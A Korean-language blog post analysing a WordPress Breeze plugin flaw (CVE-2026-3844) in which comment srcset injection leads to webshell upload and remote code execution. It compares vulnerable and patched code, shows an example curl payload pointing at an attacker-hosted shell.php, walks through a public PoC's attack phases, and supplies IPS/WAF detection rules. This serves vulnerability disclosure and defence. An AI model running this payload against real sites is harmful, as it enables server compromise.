취약점 개요
취약점 메커니즘:
inc/class-breeze-cache-cronjobs.php 내 fetch_gravatar_from_remote() 함수는 원격 URL의 파일을 다운로드하여 웹 접근 가능한 경로에 저장함.
이 과정에서 아래 세 가지 검증이 모두 누락되어 있는 것으로 확인됨.
| 누락된 검증 항목 | 취약 버전(2.4.4) | 패치 버전(2.4.5) |
| 호스트 검증 | 임의 외부 URL 허용 | gravatar.com 도메인만 허용 |
| 파일 타입 검증 | 확장자, MIME 검증 미흡 | 이미지 MIME 타입 필터링 추가 |
| 확장자 강제 처리 | 원본 확장자(.php)유지 | 판별 불가 시 .jpg 강제 부여 |
또한 breeze_replace_gravatar_image() 함수의 srcset 추출 정규식이 미흡하여, 공격자가 댓글의 author 필드에 srcset=http://공격자서버/shell.php를 삽입하면 이를 정상 Gravatar URL로 오인할 수 있음.
결과적으로 워드프레스 서버는 공격자가 지정한 URL로 직접 HTTP 요청을 수행하여 해당 파일을 서버에 저장하게 된다.
취약점 발생 조건:
1. "Host Files Locally - Gravatars" 옵션 활성화 (기본값: 비활성화)
2. WordPress 댓글이 허용된 게시물 존재
3. 공격자 HTTP 서버가 WordPress 서버에서 접근 가능한 환경
4. 저장된 파일이 웹에서 접근 가능하며 PHP 실행이 허용된 환경
diff를 통한 취약점 원인 분석
breeze_replace_gravatar_image() -> srcset 정규식 미흡

// ===== 취약 코드 (v2.4.4) =====
// srcset 앞에 공백(\s) 검증 미흡 → author 필드 등 타 속성 내 삽입된 srcset도 추출됨
preg_match_all(
'/srcset=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/',
$gravatar,
$srcset
);
if ( isset( $srcset[1] ) && isset( $srcset[1][0] ) ) {
$url = explode( ' ', $srcset[1][0] )[0];
// ===== 패치 코드 (v2.4.5) =====
// \s 추가로 속성 앞 공백 필수화 → 다른 속성 내 삽입된 srcset 추출 차단
if ( preg_match( '/\ssrcset=["\']([^"\']+)["\']/', $gravatar, $srcset_match ) ) {
$url = explode( ' ', trim( $srcset_match[1] ) )[0];
공격 원리:
예시 페이로드
Curl –X POST “http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://attacker/shell.php&email=test@test.com&comment=test&submit=Post+Comment"
| Curl –X POST “http://localhost:8088/wp-comments-post.php" \ -d "comment_post_ID=1&author=x+srcset=http://attacker/shell.php&email=test@test.com&comment=test&submit=Post+Comment" |
author 필드에 x srcset=http://attacker/shell.php 삽입
<!-- author 값이 alt 속성에 삽입된 예시 img 태그 -->
<img src="https://gravatar.com/avatar/..." alt="x" srcset="http://attacker/shell.php" />
<!-- ↑취약 정규식이 srcset 값 추출하여 다운로드 시도 -->
| <!-- author 값이 alt 속성에 삽입된 예시 img 태그 --> <img src="https://gravatar.com/avatar/..." alt="x" srcset="http://attacker/shell.php" /> <!-- ↑취약 정규식이 srcset 값 추출하여 다운로드 시도 --> |
취약 버전은 렌더링된 HTML에서 srcset 값을 추출하는 과정의 검증이 미흡하여 공격자가 주입한 srcset 내 URL을 Gravatar 이미지 URL로 오인하여 워드프레스 서버가 이를 다운로드 받는다.
반면 패치된 버전의 정규식 /\ssrcset=["\']([^"\']+)["\']/ 은 공백으로 구분된 독립적인 HTML 속성 형태의 srcset="..." 만 추출하도록 변경되었으며, 이를 통해 author 필드에 삽입된 srcset 값이 잘못 인식되는 문제를 방지한다.
fetch_gravatar_from_remote() -> 호스트·파일 타입 검증 부재

// ===== 취약 코드 (v2.4.4) =====
$blog_id = $this->get_blog_id();
$local_gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
// → 호스트 검증 없이 바로 파일 다운로드 진행: 임의 외부 서버의 shell.php 저장 가능
// ===== 패치 코드 (v2.4.5) =====
// [패치 1] gravatar.com 외 도메인 차단
$host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
if ( 'gravatar.com' !== $host && '.gravatar.com' !== substr( $host, -13 ) ) {
return $url;
}
// [패치 2] 이미지 MIME 타입 필터링 추가
$gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
$filetype = wp_check_filetype( $gravatar_name );
$allowed_images = array( 'image/jpeg', 'image/png', 'image/gif' );
if ( ! empty( $filetype['type'] ) && ! in_array( $filetype['type'], $allowed_images, true ) ) {
return $url;
}
// [패치 3] 타입 판별 불가 시 .jpg 강제 부여 → PHP 확장자 실행 차단
if ( empty( $filetype['ext'] ) || ! in_array( $filetype['type'], $allowed_images, true ) ) {
$gravatar_name .= '.jpg';
}
diff 코드 핵심
1) srcset 추출 로직 수정
2) fetch_gravatar_from_remote()에서 다운로드 대상을 gravatar.com 도메인으로 제한(공격자가 지정한 임의 URL의 파일 다운로드가 차단됨.)
3) MIME 타입 필터링 추가 및 타입 판별 불가 시 .jpg 확장자 강제 부여(php 확장자 실행 차단)
dinoson PoC 코드 함수별 기능 요약 및 상세 설명
1. 공격 흐름

2. 함수별 역할 요약
| 함수 | 역할 | 비고 |
| marker() | 무작위 식별자 생성 | 탐지 우회 및 충돌 방지 목적 |
| check_version() | Breeze 버전 확인 및 취약 여부 판별 | readme.txt 파싱 |
| find_comment_target() | 댓글 작성이 허용된 게시물 ID 자동 탐색 | REST API 활용 |
| exploit() | 전체 공격 체인 실행(Phase 1 ~ 5) | 핵심 함수 |
| validate_rce() | ?cmd=id 실행으로 RCE 최종 확인 | 공격 사후 검증 |
| main() | CLI 인자 파싱 및 실행 흐름 제어 | argparse 기반 |
3. 함수별 상세 설명
3-1. marker(length=12)

역할: 영어 소문자+숫자로 구성된 12자리 무작위 식별자 생성
용도: 공격 인스턴스 구분 및 결과 추적
3-2. check_version(base, timeout)

역할: 취약 버전 여부 판별 및 버전 문자열 반환
접근 경로: /wp-content/plugins/breeze/readme.txt
추출 패턴: Stable tag: x.x.x
반환값: (True, "2.4.4") 형태의 튜플 -> 취약 여부 + 버전
예외처리: 파일 미노출 또는 오류시 (False, "not detected") 반환
3-3. find_comment_target(base, timeout)

역할: WordPress REST API를 통해 댓글이 열린 게시물 ID 자동 탐색
활용 API: GET /wp-json/wp/v2/posts?per_page=5&status=publish
탐지 조건: comment_status == "open" 게시물 반환
실패 처리: REST API 비활성화 등 예외 발생 시 기본값 1 반환
3-4. exploit(target, payload_url, timeout, wait, post_id) -> 핵심 함수
전체 공격 체인을 5개 Phase로 구성하며 각 단계의 결과를 result에 누적하여 반환
Phase1 - 버전 확인

Phase2 - 댓글 대상 게시물 탐색

Phase3 - 악성 댓글 게시(핵심 취약점 트리거)

author 필드 값 x srcset=http://attacker/shell.php가 HTML 렌더링 시 alt와 srcset이 별도의 속성으로 해석됨
|
author 입력값: x srcset=http://attacker/shell.php
↓ 렌더링
alt="x" srcset="http://attacker/shell.php"
|
취약한 정규식이 srcset 값을 Gravatar URL로 추출 → fetch_gravatar_from_remote() 호출로 이어진다.
Phase 4 - 아바타 렌더링 트리거

게시물 페이지 GET 요청으로 WordPress의 get_avatar 필터를 동작시킨다.
Breeze가 댓글 아바타를 렌더링하는 과정에서 삽입된 srcset URL이 추출되고, download_url()이 실행되어 공격자 서버로부터 shell.php를 가져와 /wp-content/cache/breeze-extra/gravatars/shell.php에 저장한다.
Phase 5 - 웹쉘 접근 확인

저장 경로에 HTTP 요청을 보내 파일 존재 여부 확인 후, 페이로드 내 VERIFY_TOKEN 확인을 통해 PHP 코드 실행 가능 여부를 검증하고, validate_rce() 함수에서 ?cmd=id 요청을 수행하여 최종적으로 원격 명령 실행(RCE)을 확인한다.
대체 경로도 순차적으로 탐색:
/wp-content/cache/breeze/gravatars/{mk}
/wp-content/uploads/gravatars/{mk}
| result 필드 | 의미 |
| vulnerable | 취약 버전 여부 |
| comment_posted | 악성 댓글 게시 성공 여부 |
| file_uploaded | 웹쉘 파일 존재 확인 여부 |
| rce_confirmed | PHP 실행 및 RCE 확인 여부 |
| shell_url | 접근 가능한 웹쉘 URL |
3-5. validate_rce(shell_url, timeout)

역할: ?cmd=id 실행으로 RCE 최종 검증
RCE 성공 여부 기준: HTTP 200 응답 + 응답 본문에 uid= 포함 여부
호출 시점: exploit() 완료 후 rce_confirmed 및 shell_url 존재 시 자동 호출
3-6. main()


역할: CLI 인자 파싱 및 전체 실행 흐름 제어
--check-only: 버전 확인만 수행, 공격 미실행
--wait: 서버의 파일 다운로드 완료 대기 시간-> 12초, 네트워크 환경 따라 조정 필요
종료 코드: RCE 성공 시 0, 실패 시 1 반환
공격 흐름
srcset 삽입 → 아바타 렌더링 트리거 → srcset 추출 → 서버에서 파일 다운로드 → 파일 저장 → RCE
탐지 패턴 예시
아래 탐지 패턴은 IPS,WAF 등 보안 솔루션에 따라 패턴이 일부 변경될 수 있음.
IPS
|
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"Wordpress Breeze Plugin srcset Injection Attempt(CVE-2026-3844)"; flow:to_server,established; content:"POST"; http_method; uricontent:"/wp-comments-post.php"; nocase; content:"author="; http_client_body; fast_pattern; pcre:"/author=[^&]*srcset\s*=/Ui"; classtype:web-application-attack; sid:2026061201; rev:1 ) |
WAF
| uricontent:"/wp-comments-post.php"; nocase; content:"author"; nocase; content:"srcset"; within: 20; nocase; |
https://plugins.trac.wordpress.org/changeset/3511463/breeze
'보안 > PoC 분석' 카테고리의 다른 글
| Langflow에서 발생하는 RCE 취약점(CVE-2026-5027) (0) | 2026.04.11 |
|---|---|
| XWiki Admin Tools Application에서 발생하는 CSRF를 통한 RCE 취약점(CVE-2023-48292) (0) | 2025.08.21 |
| OpenPanel에서 발생하는 OS Command Injection(CVE-2024-53584) (0) | 2025.06.22 |